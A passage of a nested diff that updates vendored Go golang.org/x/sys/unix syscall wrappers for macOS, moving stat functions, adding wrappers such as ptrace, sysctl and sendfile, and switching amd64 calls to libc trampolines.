-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := Syscall6(SYS_FLISTXATTR, uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func kill(pid int, signum int, posix int) (err error) {
- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
-@@ -408,6 +547,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -672,26 +837,6 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -712,23 +857,6 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -930,21 +1058,6 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Mkdir(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1229,8 +1342,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1375,36 +1489,6 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1598,6 +1682,33 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-+ _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
- sec = int64(r0)
-@@ -1607,3 +1718,94 @@ func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_GETFSSTAT64, uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.go
-new file mode 100644
-index 00000000..314042a9
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.go
-@@ -0,0 +1,41 @@
-+// go run mksyscall.go -tags darwin,amd64,go1.13 syscall_darwin.1_13.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build darwin,amd64,go1.13
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+var _ syscall.Errno
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func closedir(dir uintptr) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_closedir_trampoline), uintptr(dir), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_closedir_trampoline()
-+
-+//go:linkname libc_closedir libc_closedir
-+//go:cgo_import_dynamic libc_closedir closedir "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func readdir_r(dir uintptr, entry *Dirent, result **Dirent) (res Errno) {
-+ r0, _, _ := syscall_syscall(funcPC(libc_readdir_r_trampoline), uintptr(dir), uintptr(unsafe.Pointer(entry)), uintptr(unsafe.Pointer(result)))
-+ res = Errno(r0)
-+ return
-+}
-+
-+func libc_readdir_r_trampoline()
-+
-+//go:linkname libc_readdir_r libc_readdir_r
-+//go:cgo_import_dynamic libc_readdir_r readdir_r "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s
-new file mode 100644
-index 00000000..d671e831
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s
-@@ -0,0 +1,12 @@
-+// go run mkasm_darwin.go amd64
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.13
-+
-+#include "textflag.h"
-+TEXT ·libc_fdopendir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fdopendir(SB)
-+TEXT ·libc_closedir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_closedir(SB)
-+TEXT ·libc_readdir_r_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readdir_r(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.go
-index 5f1f6bfe..50d6437e 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,amd64 syscall_bsd.go syscall_darwin.go syscall_darwin_amd64.go
-+// go run mksyscall.go -tags darwin,amd64,go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,amd64
-+// +build darwin,amd64,go1.12
-
- package unix
-
-@@ -15,7 +15,7 @@ var _ syscall.Errno
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -23,20 +23,30 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
- return
- }
-
-+func libc_getgroups_trampoline()
-+
-+//go:linkname libc_getgroups libc_getgroups
-+//go:cgo_import_dynamic libc_getgroups getgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setgroups(ngid int, gid *_Gid_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgroups_trampoline()
-+
-+//go:linkname libc_setgroups libc_setgroups
-+//go:cgo_import_dynamic libc_setgroups setgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_wait4_trampoline), uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
- wpid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -44,10 +54,15 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
- return
- }
-
-+func libc_wait4_trampoline()
-+
-+//go:linkname libc_wait4 libc_wait4
-+//go:cgo_import_dynamic libc_wait4 wait4 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_accept_trampoline), uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -55,30 +70,45 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- return
- }
-
-+func libc_accept_trampoline()
-+
-+//go:linkname libc_accept libc_accept
-+//go:cgo_import_dynamic libc_accept accept "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_bind_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_bind_trampoline()
-+
-+//go:linkname libc_bind libc_bind
-+//go:cgo_import_dynamic libc_bind bind "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_connect_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_connect_trampoline()
-+
-+//go:linkname libc_connect libc_connect
-+//go:cgo_import_dynamic libc_connect connect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socket(domain int, typ int, proto int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_socket_trampoline), uintptr(domain), uintptr(typ), uintptr(proto))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -86,66 +116,101 @@ func socket(domain int, typ int, proto int) (fd int, err error) {
- return
- }
-
-+func libc_socket_trampoline()
-+
-+//go:linkname libc_socket libc_socket
-+//go:cgo_import_dynamic libc_socket socket "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-- _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockopt_trampoline()
-+
-+//go:linkname libc_getsockopt libc_getsockopt
-+//go:cgo_import_dynamic libc_getsockopt getsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setsockopt_trampoline()
-+
-+//go:linkname libc_setsockopt libc_setsockopt
-+//go:cgo_import_dynamic libc_setsockopt setsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getpeername_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getpeername_trampoline()
-+
-+//go:linkname libc_getpeername libc_getpeername
-+//go:cgo_import_dynamic libc_getpeername getpeername "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getsockname_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockname_trampoline()
-+
-+//go:linkname libc_getsockname libc_getsockname
-+//go:cgo_import_dynamic libc_getsockname getsockname "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Shutdown(s int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_shutdown_trampoline), uintptr(s), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_shutdown_trampoline()
-+
-+//go:linkname libc_shutdown libc_shutdown
-+//go:cgo_import_dynamic libc_shutdown shutdown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-- _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall6(funcPC(libc_socketpair_trampoline), uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_socketpair_trampoline()
-+
-+//go:linkname libc_socketpair libc_socketpair
-+//go:cgo_import_dynamic libc_socketpair socketpair "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-@@ -155,7 +220,7 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_recvfrom_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -163,6 +228,11 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- return
- }
-
-+func libc_recvfrom_trampoline()
-+
-+//go:linkname libc_recvfrom libc_recvfrom
-+//go:cgo_import_dynamic libc_recvfrom recvfrom "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-@@ -172,17 +242,22 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sendto_trampoline), uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sendto_trampoline()
-+
-+//go:linkname libc_sendto libc_sendto
-+//go:cgo_import_dynamic libc_sendto sendto "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_recvmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -190,10 +265,15 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_recvmsg_trampoline()
-+
-+//go:linkname libc_recvmsg libc_recvmsg
-+//go:cgo_import_dynamic libc_recvmsg recvmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_sendmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -201,10 +281,15 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_sendmsg_trampoline()
-+
-+//go:linkname libc_sendmsg libc_sendmsg
-+//go:cgo_import_dynamic libc_sendmsg sendmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_kevent_trampoline), uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -212,21 +297,10 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_kevent_trampoline()
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
